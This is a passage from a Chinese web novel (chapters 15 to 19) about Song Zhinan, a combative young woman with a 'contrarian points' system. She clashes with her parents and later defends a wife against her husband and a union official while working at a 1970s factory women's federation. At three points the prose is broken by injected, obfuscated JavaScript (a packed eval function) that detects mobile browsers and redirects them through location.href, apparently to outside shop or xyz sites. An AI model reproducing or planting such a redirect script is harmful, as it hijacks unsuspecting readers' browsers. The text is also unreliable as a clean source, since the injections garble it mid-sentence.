李玉华听到养老,忍不住冷哼一声,就凭宋知南那个白眼狼,她要是给自己养老,她就不姓李! 宋上进附和道:“嗯嗯,你说得有道理。” 魏芬见他们饭都端上桌了,也不好多呆,便起身告辞,宋知南送她出去。 魏芬离开后,宋知南重新坐回座位,像一家之主似的吩咐大家:“饭都快凉了,赶紧吃饭。” 宋上进瞥了宋知南一眼,他的活好像被抢了。 李玉华阴阳怪气地说:“我一想到我的秋实还在火车上受苦,我就没心思吃饭。” 宋上进本来筷子都拿起来了,听到这话,不禁眉头一皱。 宋知夏听到这里,便很有眼色地把筷子放下。只有宋冬宝无所谓,拿起煎饼就开吃,嗯,他的厨艺又进步了。 宋知南淡淡扫了李玉华一眼,说:“此时此刻,火车上的知青可不止你儿子一个,京城的沪市的,南来的北往的都有,怎么别人能受得了,就他受不了?知道的知道咱家只是普普通通的工人家庭,不知道的还以为咱家是封建地主家庭呢,还以为宋秋实是娇生惯养的大少爷呢?” 现在大家对于地主非常敏感,宋上进赶紧制止:“知南,别瞎说八道。” 李玉华压抑的情绪再次爆发出来,她指着宋知南骂道:“我就知道,你从小就妒忌你哥,妒忌他是个男孩,妒忌他比你受宠,他现在倒霉,你心里一定很高兴是吧?” 宋知南:“你怎么知道?我确实很高兴。” 李玉华不可思议地看着宋知南。 宋冬宝张了张嘴,暗暗竖了个大拇指,三姐真的太厉害了。 宋知南实话实说:“宋秋实倒霉我当然高兴,但要说妒忌他,真谈不上。我难道妒忌他脑子不好使?学习比我差?妒忌他性格比我差?被妒忌是需要资本的,就凭他也配?” 李玉华讥讽道:“对对,就你最配。” 宋知南叹息一声:“果然,黄鼠狼夸自己儿子香,刺猬夸自己儿子光,你们想夸就夸吧,自己种的瓜自己夸,反正除了你们也没别人夸他。” 杠精系统:杠精值加10。 说完这些,宋知南温和地对李玉华说:“你要是不吃就回房间吧,别人还得吃呢。冬宝,赶紧吃饭,你还在长身体呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600670|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 宋冬宝受宠若惊。 有了宋知南带头,大家开始吃起饭来。李玉华仍然坚持不吃,宋知夏劝了一阵,也小心翼翼地端起碗默默吃饭。 宋知南一边吃一边夸:“冬宝的厨艺进步了,你是长了脑子的。” 宋冬宝心头涌上一丝欢喜,他挠挠头,怪不得最近老是头皮发痒,原来是在长脑子。 李玉华嘲讽道:“他要有脑子能被你这样使唤?一个男孩子围着灶台转能有什么出息?” 宋冬宝脸色一变,他不说话,低头继续干饭。 宋知南不悦地说:“国营饭店的大厨也是围着灶台转,人家也没出息?所有人都没出息?就你那个废物大儿有出息。” 宋知南不提一好,一提宋秋实,李玉华就开始毫无征兆地哭了起来:“我的秋实啊,他以后可怎么办呀。” 宋知夏赶紧放下碗筷好声劝她,宋上进也不耐烦地说了几句。 宋知南凉凉地飘出一句:“你这样哭,不知内情地还以为你哭丧呢?你是想咒你儿子吧。” 李玉华歇斯底里地狂吼:“你给我闭嘴!” 宋知南的调皮劲上来了:“就不闭就不闭,你哭丧你哭丧,宋秋实要倒霉了,他倒霉了都是你哭的。” 李玉华腾地一下站起来,恶狠狠地瞪着宋知南。 双方一触即发。 宋上进起身把李玉华往屋里推,同时还扭头劝宋知南:“小四,你妈今天心情不好,你就不能少说两句?” “我心情也不好,你让她别说话。” 系统播报:杠精值加15。 李玉华终于进屋哭去了,宋知夏和宋上进在屋里劝她。 宋知南对宋冬宝说:“冬宝,赶紧吃饭,多吃点,咱俩跟他们不一样,咱俩没人疼,只能自己疼自己,咱俩可都在长身体呢。” 宋冬宝本来还在犹豫要不要跟着去屋里看看,听三姐这么一说,索性也不动了。 两人飞快地往嘴里扒饭,今天人少菜多,终于能敞开肚皮吃个痛快。宋知南自从吃了大力丸后,饭量大增。于是,她在宋冬宝惊讶的目光中,连炫了四张煎饼,还把桌上的菜一扫而光。 宋知南把碗一推:“冬宝,洗碗去,我消消食。” 宋冬宝还能说什么,只能乖乖地去洗碗。 等到宋上进和宋知夏出来想接着吃饭时,发现桌子上连碗筷都撤了。 两人不由得傻眼。 宋上进忍无可忍地问道:“饭呢?我跟知夏还没吃饱呢?” 宋冬宝不好意思地干笑两声,他忘了两人还没吃饱了。 宋知南一脸无辜:“我还以为你俩也不饿呢,没事的,偶尔饿几顿更健康。爸你当初跟妈不就是这么说我吗?” 宋上进无言以对,他前几天确实说过这句话,现在是搬石头砸自己的脚。 这一晚,李玉华饿着肚子在屋里哭,宋上进饿着肚子在旁边唉声叹气,宋知夏虽然没哭没叹气,但她在陪饿。只有宋知南和宋冬宝吃饱喝足,精神头十足。 16.第16章没心没肺活得不累 宋知南吃完晚饭出去遛弯,她沿着马路牙子溜达了一大圈。家里住着除了有源源不断的杠精值外,没啥意思。她还是得想办法搬出去,明天就问问何黛能不能申请宿舍。如果不能,看看能不能租间房子。 这街景也没啥好看的,公园又离得过远,宋知南压了半小时的马路就回家了。 家里气氛仍然不算融洽,她也不在乎。她不会为任何成年人的情绪负责,谁想难过就难过,她舍得让别人受苦。 宋知南回到房间时,宋知夏正坐在小床上发呆。 她一看到宋知南,勉强笑了笑,“回来了。” 宋知南嗯了一声。 宋知夏像是有话要说,看着宋知南几次欲言又止。 宋知南看着难受,直接说:“你有话就直说。” 宋知夏组织了一下语言,小心翼翼地说:“三妹,我觉得咱们家这样下去也不是个办法,你看家里的气氛多压抑,大家谁都不舒服。” 宋知南瞥了她一眼:“那你有何高见?” 宋知夏试探道:“要不,你去跟妈认个错?” 宋知南冷笑:“还以为你有啥高见呢,就这?我有什么错?我错在哪儿?” 宋知夏神情有些慌乱,赶紧说:“你别生气,我就是觉得咱们做儿女的,对自己爹妈退一步又如何?你也知道妈的性子,你不给她台阶下,她就会一直闹别扭。” 宋知南满不在乎地说:“我又不是建筑工人,不会造台阶,就让她继续作吧,她不吃饭也没关系,我正好观察观察一个人能饿几天。” 接着,宋知南拖长声调怪声怪气地说:“反正人几天不吃饭也饿不死。”当初原主不愿下乡绝食时,李玉华就是这么说的,宋知南今天原话奉还。 宋知夏蠕动着嘴唇,憋了半天才憋出一句:“你心里还是有恨。” 宋知南眼珠一转,她都给宋冬宝洗脑了,要不也给宋知夏试试?有枣没枣打一杆子。 想到这里,她就开始自己的洗脑策反大业:“二姐,我心里是有恨,我不信你就没有恨。你从小就不是什么愿意无私奉献的人,你这人人品不咋好,自私又自利,为了蝇头小利就敢出卖兄弟姐妹……” 宋知夏极力否认:“你别这么说,我不是这种人。” 宋知南扬手打断她的话:“我说有就有,你别反驳我,我这人不喜欢被人杠。” 宋知夏无言以对。 宋知南接着说:“你虽然不咋地,但凡事都有对比,你比宋秋实人品好,比宋冬宝聪明有脑子,比大姐活得明白。可以说,这个家除了我也就你还行。你说你这样的资质却也不受重视,家庭地位也就比我略高那么一丁点,你连上高中都是沾了宋秋实的光,他发话想让你陪着上,你才有机会。不管你怎样费力讨好,你就是无法跟宋秋实和宋冬宝一样,你心里难道就没有怨气和不平吗?” 宋知夏再次否认:“我没有。我一直觉得爸妈这一辈子挺不容易的。” 宋知南犀利地反问道:“爸妈不容易是咱们造成的吗?” 宋知夏一时语塞,要说是他们造成的也不对,但总跟他们有关系吧。毕竟,养孩子不是一件容易事。 宋知南继续往下说:“他们不容易是他们的父母和自己造成的,他们明明没什么能力,还非要生五个孩子,然后又把责任推到我们头上?这是正常人应该干的事吗?再说了,他们养活五个孩子,资源是平均分配的吗?明明宋秋实占了最多的资源,怎么宋秋实就不像你一样体谅父母?他怎么从来不说父母不容易?为什么他可以心安理得的享受着家里的一切,而我们却诚惶诚恐战战兢兢,要不停地干活不停地讨好父母?” 宋知夏的脑子犹如一团乱麻,理不清,完全理不清。 半晌之后,宋知夏苦笑道:“就凭宋秋实是个带把的,就凭我们生来就少了一样东西呗。” 宋知南用力地捶了一下床,把宋知夏吓了一跳,以为她又要发疯呢。 宋知南的语调变得激昂起来:“所以,我们要打破这一切,我们要革命,哪里有压迫哪里就有反抗。” 宋知夏瞪大眼睛:“那可是咱们的亲爹亲妈,咱们怎么反抗怎么革命?” 宋知南白了她一眼:“什么亲爹亲妈,他们就是奴隶主。革命革命,就是连自己家的命都敢革。” 宋知夏小心地试探:“那个三妹,你最近是不是加入了什么组织了?” 前两年,他们工厂的年轻人成立了很多革命小组,闹腾了好一阵子。不过这两年,大家上班的上班,下乡的下乡,很多组织才渐渐解散了。 宋知南脑袋一昂:“我为什么要加入组织?我就是最大的组织者和发起人。一屋不扫何以扫天下,我先从咱们家革命。有位革命志士说过:没反抗过父母的女孩是不完整的,是没有出息的。真的猛士敢于直面惨淡的人生,敢于直面父母不爱你的真相。你听懂了吗?” 宋知夏被唬得一愣一愣的,只能点头说听懂了。 宋知南说累了,两眼一闭,倒头就睡。 宋知夏却失眠了,她辗转反侧,难以入眠。她的脑海中一直盘旋着一个问题:亲妹妹精神不正常且有暴力倾向该怎么和她相处? 第二天,宋知夏顶着两只熊猫眼起床做早饭,她熬了一大锅小米红薯粥,炕了玉米饼子,把咸菜疙瘩切成丝拌上葱花香菜,滴上一滴香油,味道吃着还不错。 宋知南心情愉悦地吃着早饭,还夸了宋知夏一句:“二姐的厨艺不错,冬宝你好好跟她学。” 宋冬宝虚心接受。 李玉华起床后仍旧耷拉着一张脸,家里的气氛重新变得压抑起来,只有宋知南依旧不受影响。 李玉华一屁股坐下来,抓起饼子就吃,一边吃一边旁敲侧击道:“咱们家里不能有吃白饭的,上班的就得交钱,不上班的就得做饭做家务。” 这话明显是说给宋知南听的,但她不点名,宋知南就当听不懂。 宋知南喝完一碗粥,吃了两个饼子,站起来就走:“我上班去了,你们慢慢吃。” 李玉华见她故意装傻,咬着牙喊道:“宋知南,你没听见我的话吗?” 宋知南头也不回地说:“李同志,你是不是忘了咱俩在冷战。我没给你台阶,你不要自己下来。” 李玉华:“……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14608371|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 家里其余人,面面相觑,谁也没有接话。 宋知南往外走的时候,就听见杠精系统又开始播报了,10个杠精值顺利到手。这个家虽然给不了她什么财产和关爱,但给了她很多杠点呀,家庭果然是江湖,不光有打打杀杀,还有吵吵闹闹。 宋知南到妇联上班的第二天,活不多,也就打扫打扫卫生,打打开水,整理整理资料。 午休时间到了,怕中午有人来,宋知南就和何黛商量两人轮流吃饭,何黛先去,宋知南留在办公室。 过了一会儿,办公室就来了一个熟人,王小雪。 王小雪已经听说了,上次帮她说话的女同志现在真的成了妇联的干事。 她一见到宋知南,就笑着说:“宋同志恭喜你呀。” 宋知南见到王小雪也很热情:“王同志,说起来还得多谢你,上次我帮你说话才因此引起领导的注意,我才得以顺利进入妇联,这是我从小的理想。感谢你让我实现了我的理想。” 王小雪没想到自己还能无意间帮了别人,心里也颇为高兴。 高兴的情绪连受的委屈都冲淡了一些。 宋知南知道王小雪来这里不是叙旧的,肯定有事,便认真地问道:“王同志,你有什么委屈尽管告诉我们,妇联就是咱女同志的娘家。” 王小雪未语先叹气:“唉,还是那些破事。我回去跟娘家商量了一下,我爸妈弟弟妹妹都让我带着孩子回娘家住一段时间,不管老林家那一堆破事了。就让林光宗自己应付去。我正在犹豫呢,我一是觉得回娘家时间长了也不好,二是怕别人说我。” 宋知南说:“王姐,我在这里先表扬一下你父母,他们真的很不错,愿意为你撑腰,他们这种行为已经领先了全国百分之七十的父母。” 王小雪噗嗤一声笑了出来:“宋干事,你这人说话真有意思。” 宋知南接着说:“既然他们愿意,你为什么不回去?那也是你的家啊,你就得理直气壮的回。别听什么嫁出去的女儿泼出去的水,咱是活生生的人不是水。谁要是这么说,你就让他们老了去找水孝顺他们,别找女儿。” 王小雪频频点头,感觉心中的迷雾都被宋知南给轻轻拨开了。 宋知南接着说:“你要是觉得过意不去,就给娘家买点东西交点生活费,好好地晾一晾老林家,让孝顺的林光宗去应付他那一大家子。人性本贱,绝不能惯。你以前掏心掏肺活得心力交瘁,从今以后就没心没肺,至少活着不累。” 王小雪细细地品着这句话:“是啊,我掏心掏肺活得心力交瘁,那还不如没心没肺。宋同志,你咋这么聪明呢?这话说得真好。妇联有你这样的好同志,是咱们广大妇女的福气啊。” 宋知南面带微笑:“王同志,你这个人真好,那姓林的用尽了一辈子的幸运娶到你,却不知道珍惜。” 王小雪不好意思地笑笑,她终于下定决心:“宋同志,我这就收拾东西回娘家去,等我有空,给你锈一面锦旗。” 宋知南谦虚地说:“谢谢王同志,为人民服务是我应尽的职责。对我来说,能得到你们的认可和满意就是最好的礼物。” 17.第17章杠到工会 王小雪得到了充分的情绪价值和具体的方法论,心满意足地离开了。她一回到厂里就化身自来水,大力宣传宋知南的好。 “妇联新来的宋干事真是个负责的好同志。她聪明能干,会说话,懂得多,劝人能劝到你心坎里。” “小宋干事,我知道我知道。听说她把马大姐给怼了一顿,马大姐可是咱们这一带有名的媒婆,大家就算心里烦她,也不敢当面说什么。小宋连她都敢怼,人家是真的硬气。” “小宋同志的口才真好,也不知道她的嘴咋长的,我恨不得借她的嘴用用,好好怼怼我婆婆。” …… 何黛在食堂吃完饭,回来替换宋知南。宋知南打饭的时候,食堂里的饭菜已经不多了。好在她也不挑食,有啥吃啥,吃嘛嘛香。 吃完饭,洗好饭盒,宋知南回到办公室,跟何黛闲聊,顺便问她怎么申请宿舍。 何黛说:“咱们纺织厂的宿舍挺紧张的,每次有空位不知道多少人盯着,再说你家有住的地方,厂里一般是不会给你批宿舍的。” 宋知南又问能不能租房,何黛依旧摇头:“大家的住房都很紧张,自已家都不够住,哪来的房间出租?” 宋知南只能先打消搬出去的念头,打算以后再慢慢寻觅房子。 却说王小雪严格按计划行事,中午没回家给那一家子做饭,下午下了班就火速收拾好东西,带着俩孩子回娘家去了。 林光宗下班回家后发现屋里乱糟糟的,老婆孩子不见踪影,一问邻居才知道媳妇带着孩子回娘家去了,他不禁傻眼了。弟弟妹妹侄子外甥嚷着饿了要吃饭,吵得林光宗头大如斗,他只得带着一群饿狼去食堂吃饭。大家看到林光宗,少不得打听几句,很快地,大家都知道王小雪回娘家去了。 林光宗起初拉不下脸去岳父家接媳妇,捱了两天,实在受不了,终于低下了高贵的头颅去接人,结果被岳父岳母骂了一通赶了出来。 林光宗又恼又气,回到家听说他媳妇是妇联的宋同志给鼓动回去的,更是气不打一处来。他跟自己的好哥们诉苦,他的好哥们自然站在他这一边,一起骂王小雪不懂事儿矫情小气,顺带着连宋知南也骂了,骂她是个搅事精,这种女孩坚决不能娶,娶回家都是祸害。 事情传出去,不少男同志都对宋知南有了看法,很多人都不认识她,但不妨碍对她有偏见。 何黛也隐隐约约地听到一些风声,忍不住提醒宋知南:“知南,要不你改一改工作风格?像这种家务事吧,清官都难断,更何况是咱们妇联?咱们劝劝就得了,要不然,这得罪一大片男同志,对你的名声不太好。” 宋知南听到林光宗的那些哥们说她坚决不能娶回家,眼中闪着兴奋的光芒:“太好了,我希望他们都这么想。不然我还担心以后有人惦记我骚扰我呢。” 何黛:“……” 宋知南对何黛正色道:“小黛黛,你不用担心我。在我踏进妇联的大门时,我就做好了充分的思想准备。这世上总有些鸟儿身上每一片羽毛都闪着正义和自由的光芒,它不会为了躲枪子就不当出头鸟,出头是它的使命也是它的宿命。” 何黛表示听懂了,但受到了深深的震撼。 王小雪离家四天后,忍无可忍的林光宗怒气冲冲地找上了妇联,问宋知南要媳妇。 宋知南看着面前这个胡子拉碴的男人,上次见他还挺干净整齐,这才几天就变得这么邋遢。男人真是不独立,离开女人就活得一塌糊涂。 此时正值下班时间,妇联门口站满了围观群众。 林光宗大声说:“宋同志,我们家日子过不下去了,你说怎么办吧?” 宋知南上下打量了一眼林光宗,奇怪地问:“咋就过不下去了呢?你不是说你要孝顺爸妈,要养着你弟弟妹妹侄子外甥吗?人家王小雪同志回娘家,把家里都交给你,再也不干涉你了,也不跟你吵了,你不正好大展身手自由自在吗?” 林光宗没好气地说:“我在厂里辛苦工作一天,回到家里,饭也没人做,衣裳也没人洗,屋子也没人收拾,你让我怎么生活?” 宋知南依旧一脸不解:“饭没人做,你不会做吗?衣裳没人洗,你不会洗吗?难道你不是人?” 林光宗怒声质问:“你骂我?” 宋知南摇头:“你误会了,我从不骂正常人。” “你的意思是我不是正常人?” “我可没这么说,是你自己这么认为的。林同志,你为什么会觉得自己不是个正常人呢?你这种情况持续多久了?去医院看过吗?” 林光宗狠狠地瞪着宋知南。 宋知南温和地说:“林同志,你别着急,别激动。” 林光宗继续胡搅蛮缠:“大家都说我媳妇是你撺掇回娘家的。” 宋知南刨根问底:“大家说的?哪个大家?你告诉我名字,我把他们叫过来问问。” 林光宗当然不能说名字,一说他就成了众矢之的了。 宋知南一摊手:“你不说,那就代表没人说,全是你自己在胡说。我相信咱们工人阶级的嘴不会这么贱的。” 林光宗被噎得把话咽回去。 他继续耍无赖:“反正你们妇联得给我解决问题,要不然,我就不走了。” 宋知南:“你不走啊,那就呆在这里吧。不过林同志,我们这里是妇联,专门接待女同志的,再不济也得男女一起来。没有单独招待男同志的先例。你要留在这里,就得承认自己不是男人,不然,这不符合规矩。” 林光宗双目圆睁。 宋知南严肃地说:“来,你跟着我握着拳头宣誓,我说一句,你学一句:我,林光宗,从今天起变成女同志,我不是个男人。” 周围爆发出一阵大笑声。 还有几个熊孩子大声起哄:“哦哦,林光宗不是男人。” 林光宗气得满脸通红。 林光宗在周围人的哄笑声中,悻悻退走。第二天,他狠狠地向工会告了宋知南一状。 负责处理此事的工作人员也是一脸复杂,他们这个小宋同志真是个人才,才来几天就被人投诉了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624704|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 工会干事胡明亮自告奋勇地接过此事,打算跟宋知南好好谈谈,让她认识到自己的错误。 宋知南接到通知就过来了。 胡干事只是个干事,自然没有独立的办公室,跟大家聚在一起办公。他找宋知南谈话也是在办公室里,大家虽然表面上都在忙碌,但个个都竖着耳朵听着。 宋知南坦然自若地走进办公室,还热情地跟大家打个招呼:“同志们上午好,胡干事你找我?” 她飞快地打量了胡干事一眼,此人二十七八岁,国字脸,眯缝眼,一脸的装腔作势。 胡干事正襟危坐,虽然他不是官,但官腔挺重,他冲宋知南略一点头:“小宋,你坐。我找你是为了工作上的事,你应该也知道了吧?你被人投诉了。” 宋知南云淡风轻地说:“唉,你说这事啊,我当然知道。胡干事,经常上班的人都知道,被投诉那是常有的事。俗话说得好,多做多错,不做不错。工作越负责,越被人指责。我劝你别放在心上。” 胡干事无言以对,人家投诉你,你让我别放在心上? 不但胡干事无语,旁听的人也跟着无语。 胡明亮沉默一下很快就反应过来,怎么说呢,他此时涌起了一股难以克制的胜负欲,这次思想工作,不但是老员工对决新员工,还是男同志对决女同志,毕竟大家都支着耳朵听着呢,他要是不把这个小宋同志说服了,以后大家怎么看他? 胡明亮调整一下坐姿,慢条斯理地说道:“小宋啊,我比你年纪大,参加工作的时间比你长,我在这里多说你几句,你呢,有则改之,无之加勉。” 宋知南也换了个翘二郎腿的姿势:“胡干事你有话不防直说,你放心,我这人谦虚又大度,我不像有的人那么小心眼,动不动就投诉别人,你说错了,我也不会投诉你。” 胡明亮:你人还怪好咧。 胡明亮慢吞吞地说:“我觉着吧,这件事的起因是你的工作方法太激进了。两口子吵架是常事,你们妇联两边劝劝,让他们和好,和和美美地继续过日子不就行了吗?你倒好,直接把人家给撺掇回娘家了。对了,我还听说,你还正话反说,让人家林同志去孝顺岳父岳母,臊死王小雪同志,你瞧你这话说的,你这是完全站在王小雪这边呀,劝架要客观中立,最忌讳拉偏架。” 宋知南不懂就问:“胡干事,请问我们妇联全名叫什么?” 胡明亮不明所以但还是回答了:“叫全国妇女联合会吧,你问这个干什么?” 宋知南继续问:“我们的服务对象是谁?是男的还是女的?” 胡明亮哭笑不得:“妇联,自然是为女同志服务啊,这还用问吗?” 宋知南一脸严肃:“我们是为女同志服务,我也以为这不言自明,所有人都应该知道,但胡干事刚刚好像就忘了。你说我拉偏架,请问我们妇联不为女同志说话,为谁说话?难道替你们男同志说话?那我们为什么不叫男联呢?你指责我拉偏架,就相当于指责工会为工人阶级说话,指责咱们国家为社会主义国家说话。” 18、第18章一面锦旗 胡明亮张大嘴巴,被硬控地沉默了三秒。 旁听的众人嗤嗤笑了起来。 杠精系统:宿主牛宿主棒,杠上加杠,杠精值加30。 宋知南心中一喜,别看这胡干事人不怎么样,杠精值还挺高。 胡明亮被噎得哑口无言,他酝酿一会儿,再次发起进攻:“小宋同志,你这是在激化家庭矛盾,你说现在怎么办?林技术员家里一团糟,一个男同志若是没有稳定的大后方,就没心思好好工作,这样下去会影响咱们工厂的运转,你说事情大不大?” 宋知南:哟嗬,这帽子扣得可真大,都上升到这个高度了? 宋知南想了想,皱着眉头说道:“古人云,修身齐家治国平天下,一屋不扫何以扫天下。做为一个男人就得先管好自己管好家里才能干大事,这林技术员连区区一个小家都管不好,这种不独立的男人怎么能指望他干好工作呢?我建议给他调换个更容易的岗位,比如库管搬运之类的,他的位子让有能力的人顶上。咱们纺织厂这么多人才,我就不信没人胜任。”多大的本事,工厂离了他都不运转了。 胡明亮的眉头皱得能夹死一只苍蝇,他用复杂的目光看着宋知南:“宋同志,你厉害呀,一句话就要撤掉人家的职务。” 宋知南淡淡回应道:“胡干事,你也很厉害。明明是你说林技术员胜任不了工作的,你还说,他没心思工作,这样下去会影响工厂的运转。我也是为工厂考虑才想出这个好主意的。你看看你把大帽子都往我头上扣,知道的知道咱们是纺织厂,不知道的还以为咱们是帽子工厂。胡干事,你这工作方式也太激进了吧?” 胡明亮瞪圆了眼睛,气氛变得微妙而又尴尬。 杠精系统:杠精值加30。 还好这时有两个老员工赵哥和白姐过来打圆场。 “小胡啊,你是给跟人做思想工作的,好好说嘛。” “小宋啊,你们今天只是交流交流思想和工作心得,不是搞辩论,不要这么急嘛。” 宋知南对着两个老员工诉苦:“赵哥白姐,你们给评评理。我哪里做错了?这个林技术员不是孝顺吗?人家王小雪回娘家了,这不正好机会来了?他就好好地展现一下自己的孝心呗。他的孝顺一离开别人就没了,怎么?他这孝心找人借的呀。” 孝心还能找人借?大家觉得这个宋知南抬杠都能抬出花样来,也不知道她哪里来这么多新鲜词儿。 宋知南接着说:“我要是林技术员,我就一力承担所有的家务,孝顺得独立自主,孝顺得理直气壮。不仅如此,我还去孝顺岳父岳母,把家里的好东西都给小舅子小姨子,我要让王小雪同志好好看看,给她竖立一个榜样,让她主动向我学习,也给全厂的男职工树立一个榜样。绝不会像现在这样,干啥啥不行,家里全部搞不定,还闹情绪找领导告状,这不是丢男同志的脸吗?” 宋知南做出一副忧国忧民的模样,“现在的男人大事干不了,小事不愿干,真是一代不如一代,我真是担心咱们国家和民族的未来。” 在场的人大家大眼瞪小眼,谁也不好反驳。毕竟这都上升到国家和民族了,你怎么反驳都是错。 宋知南接着叹气:“以前的男人沉默如山,知道多干活多给钱,哪有人这么逼逼赖赖的。哪像现在这帮人,一个个的,该承担的不承担,该出钱的不出钱,就想多吃多占,占得不够就说女同志不能干。自己当了二十多年儿子不见他孝顺,一结婚就变孝顺了,你们说奇怪不奇怪?” 大家还是沉默着,没人接话。 胡明亮无力地摆摆手:“行啦宋同志,今天就到这儿吧,你可以回去了。”辩不过,完全辩不过。他惹不起躲得起。 宋知南站起身,很有风度地说:“胡同志,虽然你的工作方法很激进,但我能体谅你。你放心我不会像林同志那样小心眼向你的领导告状,我们女同志都大度明事理。” 胡干事强颜微笑:“宋同志,我感谢你的宽容大度。” 宋知南在一众异样目光的注视下从容走出工会办公室。 工会的胡干事给宋知南做思想工作不成,反倒被她教育了一顿,这事像风一样传开了。 原来工会的工作人员就是只纸老虎,以前为啥觉得他们挺能说,那是因为没遇到更能说的,这样遇到了。 真是卤水点豆腐,一物降一物。 这事自然也传到了贺胜男耳朵里,贺胜男这两天正在忙联谊会的事,办公室的事就交给了何黛和宋知南。她一回来就听说了自己新来的手下被人投诉了,还被叫到工会做思想工作,然后杠翻工会的事。她听罢,心情略复杂,她早就知道宋知南性格泼辣口才好胆子大,但好到这个地步着实出乎她的意料。 贺胜男回到办公室,看看宋知南,眼圈没红,神情也不见沮丧,像什么事都没发生似的。 贺胜男欣慰地点点头,她们妇联的人别的不说,心理承受能力得强。要不然,怎么能应付那么多乱七八糟的事和形形色色的人?小宋虽然年纪小,但心大。 贺胜男先安慰宋知南一句,“小宋,你没事吧?” 宋知南的情绪相当稳定:“贺主任,我没事。我经得起考验,受得住压力。” “好,你是个好样的。我还担心你受不了委屈会哭鼻子呢。” “我们女同志顶天立地,谁会在乎这点破事。” 贺胜男付之一笑,一句也没批评宋知南。 待贺主任一走,宋知南跟何黛说:“阿黛,我还以为贺主任会批评我两句呢,她竟然什么也没说。” 何黛说:“我刚来的时候也被投诉过,就委屈地哭了。贺主任还安慰我说,做咱们这行,被人投诉很正常。想让所有人都满意是不可能的,让一部分人满意就不错了。她说除非我真犯了严重的错误,她才会批评我。或者是批评给别人看,因为她觉得咱们天天听这些鸡毛蒜皮家长里短的破事,心里本来就苦,领导再一批评就更难受了。” 宋知南赞叹道:“咱们贺主任真是个好领导。我长这么大第一次见到这样的。” 何黛笑着说:“我也是这么觉得。” 王小雪也听说了宋知南受自己牵连的事,她赶紧趁着中午午休过来道歉:“宋同志,对不住,是我连累了你。” 宋知南不在意地说:“这点小事算什么?我不在意,你也别在意。你千万别妥协,现在比拼的就是耐心和意志,妥协你就前功尽弃了。你继续在娘家住着,等到林同志受不了,主动把人送回老家去接你,你趁机约法三章然后再回家。” 宋知南没有直接劝王小雪离婚,她得考虑现在的时代背景,在七十年代离婚不是一件容易事。很多人的夫妻关系都是破破烂烂,大家缝缝补补凑和过。当然,遇到特别恶劣的,比如说家暴之类的,她还是会劝人离婚的。 王小雪吃了定心丸,继续安心在娘家住着。林光宗又忍了几天,终于忍无可忍,也等不到暑假结束了,直接请假把弟弟妹妹侄子外甥送回老家去了。 他回到家里,看着狗窝一样的房间,不禁仰天长叹,他怎么就把日子过成了这个样子? 林光宗厚着脸皮去接王小雪和孩子回家,王小雪趁机约法三章,以后寒暑假不准再让老家亲戚的孩子过来;父母可以过来暂住,但不可以长住;任何亲戚来,不能随便进他们的卧室,不能随便翻东西。亲戚要来就住招待所,如果林光宗坚持要人住进来,她就回娘家。 林光宗倍感屈辱地答应了这些条件,转头就把约法内容告诉哥们和朋友,大家说什么的都有。男人大多说王小雪自私小气,看不起婆家人。也有一部分女同志说王小雪不够大方贤惠。当然,还有很多跟王小雪处境相同的女同志能够理解她。她们不仅理解她还想成为她,这些人一听说问题是宋知南帮忙解决的,不由得蠢蠢欲动,都在悄悄地观望。 王小雪回家后,真的给妇联办公室送来了一面自己锈的锦旗,红色的绒布,上面锈着两行淡金色的字:妇联好干事宋知南,专为妇女排忧解难。 锦旗的事引起了小范围的轰动,锦旗不是特别稀罕的东西,但稀罕的是人家宋知南才来上班几天就有人送锦旗。 何黛十分羡慕,但好在她并不妒忌宋知南,因为她知道对方承受了什么。 她听说厂里的年轻男同志私下里达成了协议,他们谁也不准跟宋知南处对象。他们觉得纺织厂女多男少,他们都是香饽饽,他们这么孤立宋知南,宋知南不吓坏了才怪。 宋知南听说后,心情相当愉悦:就算换个时代,她还是一样可爱。随便做点什么说点什么,都能引起对面紧张破防。还团结起来不跟她搞对象,这种恐吓就相当于狗威胁人类不准吃屎一样,太吓人了。她打算用杠精值兑换个肉包子压压惊。 19、第19章冤家路窄 妇联的工作是忙的时候特别忙,闲的时候特别闲。宋知南合理安排好时间,没人来访的时候就抓紧时间看资料和报纸杂志,做工作记录,为以后投稿积攒素材。 每个时代有每个时代的特色,她还得揣摩这个时代的行文风格,不能太出格,也不能千篇一律。 宋知南每天的生活充实而忙碌,午饭一般在食堂吃,晚饭回家吃。一回到家,她就继续进行洗脑驯化宋冬宝和宋知夏的大业,尤其是宋冬宝,最近效果很显著。 这天下班后,宋知南用杠精值在系统商城买了三个肉包子,路上吃了一个,拿回家两个,她一到家就塞给宋冬宝一个冒着热气的肉包子,宋冬宝喜出望外,难以置信地问:“姐,包子是给我的?” 宋知南:“那当然,你是我亲弟弟,我不给你给谁?赶紧吃,别让二姐和爸妈看到了。” 